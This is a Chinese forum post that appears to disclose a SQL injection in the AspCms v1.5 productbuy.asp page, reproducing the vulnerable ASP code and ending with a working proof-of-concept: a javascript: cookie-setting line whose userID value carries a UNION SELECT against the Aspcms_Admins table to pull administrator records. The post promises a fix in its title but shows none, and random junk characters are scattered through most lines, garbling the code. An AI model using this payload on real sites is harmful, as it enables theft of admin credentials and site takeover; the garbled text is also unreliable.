AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
2 h3 o( T( B4 r' U! ^- L% a也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：
  s4 p7 y' \, A2 A6 A7 i
<%
1 |' z; |" ^% f5 L9 U3 ^/ v" g4 U
if action = "buy" then

        addOrder()
, r& g( u0 H; f! s7 c4 a, Q
0 w: H+ F" _+ n! n" |, @+ Pelse

  I* U  o8 ^* ]6 F$ }        echoContent()

- e8 Q8 Q& g; o! F' l! p) Mend if

) Z+ y2 s/ O) k% s9 o" W) |
  l2 l" e7 b, g1 E3 [0 d5 R
……略过
+ f* S9 }, h& W2 p
& k( S. b7 g- r  K' m! c

! b+ @4 O7 c, E) M( u8 N# fSub echoContent()

6 ?+ u4 B; R% J+ R2 \        dim id

        id=getForm("id","get")

        
$ P3 C+ f# b1 n+ t
& ^3 h6 i; i( [6 X4 y+ E; t        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
7 N4 r$ K1 X& M) [
2 d3 v, ^, j0 A0 q4 ^        

4 S$ i8 a9 X9 N: ?6 s        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
4 y6 ^# X2 a& P: Q  H; O
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
% w& C2 L* I1 ~, b
        Dim templatePath,tempStr
, k1 r- F: n  b1 b2 w
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
, j& m4 O7 S% m/ W9 l6 ^% l8 O
. m$ ?. {  D+ o* ~: e5 `6 s& Q. w

: \; w4 l/ }' {7 r" q        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

+ b% K6 U9 i0 A        selectproduct=rsObj(0)
7 x7 t# l* p% S4 i/ I
        
! I6 X% f6 j/ s# `. b
! h. r+ l% S9 G: q7 t- n+ v        Dim linkman,gender,phone,mobile,email,qq,address,postcode
- w' M, N* t1 m$ z2 E6 t4 t$ E: ^
/ ~, q& M. S  |! K$ W9 u& t        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

        if rCookie("loginstatus")=1 then  

                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
+ x- x, w" N* o" N  p
                linkman=rsObj("truename")

; M! }- @1 p+ u                gender=rsObj("gender")

                phone=rsObj("phone")
2 T* g0 q0 ^9 Z, P2 k5 y5 }
0 w5 e7 ^. U$ o+ j+ W7 I                mobile=rsObj("mobile")

                email=rsObj("email")

) n7 h& |1 I: P- R% l2 |                qq=rsObj("qq")

: n/ m8 g7 ?& c" {' \6 I                address=rsObj("address")
$ f0 }9 k8 M' t' |
# S0 m* l1 Z  K! d% j8 S; o+ f6 M( @                postcode=rsObj("postcode")

& z- M2 V2 x/ V4 k. ?) b7 E        else
- }/ v7 d! t( g3 J* u
                gender=1
* \+ j. x( o! F& M3 w4 O
' ~# f" P9 `- K& T$ @# S        end if

* o. o* }( C3 a% E$ u/ p        rsObj.close()

               
6 H: t1 s! J/ [; C
        with templateObj
2 N& A$ A  i* p' A  F
* R+ H# J5 B! o. ?0 o. b# Y/ }* i7 w                .content=loadFile(templatePath)        
: \& W# U5 N: C; ~- x" r! ~" [8 q
                .parseHtml()

1 s7 |, s$ K( L                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
# y( A% G8 {0 A) b+ Z
9 N9 b  Q+ b3 i$ D+ U/ ~' d% _0 }                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
" m: X3 Y# t! ~& J
7 K, O" b& W+ G; F  i                .content=replaceStr(.content,"[aspcms:gender]",gender)               
3 N: z6 h9 M. f6 P1 W5 _
                .content=replaceStr(.content,"[aspcms:phone]",phone)               
. M; |' O# t  I: G8 |) n
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

, N; f% b, n% D5 j2 L                .content=replaceStr(.content,"[aspcms:email]",email)                        

& A; Q) z9 B/ j8 ^1 v                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
% ?0 O4 P7 y3 o& i9 G2 U5 W' A* g
/ O+ Q. a/ ?2 M: g: |                .content=replaceStr(.content,"[aspcms:address]",address)                        
( _" H3 b% J$ m
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
  O( t& D* m0 X) b$ b
                .parseCommon()                 
# M7 R. M+ ~( `; M+ y2 _6 |; s6 b$ X
                echo .content
2 s' W: I6 ~$ d9 Q( A
        end with

0 i" ^. j/ t4 S/ A# w; s        set templateobj =nothing : terminateAllObjects

6 t1 N+ Y7 x' Y: d9 N: O* o, v: qEnd Sub
漏洞很明显，没啥好说的
* B. g% h# {; Q0 w. {poc：
' J/ n# ~% r' N7 K; z% W( }: {0 Z% Q
6 _# ]8 G% R3 a; k. Fjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
; F3 ^  F7 o* u2 M; G" d8 j) m" J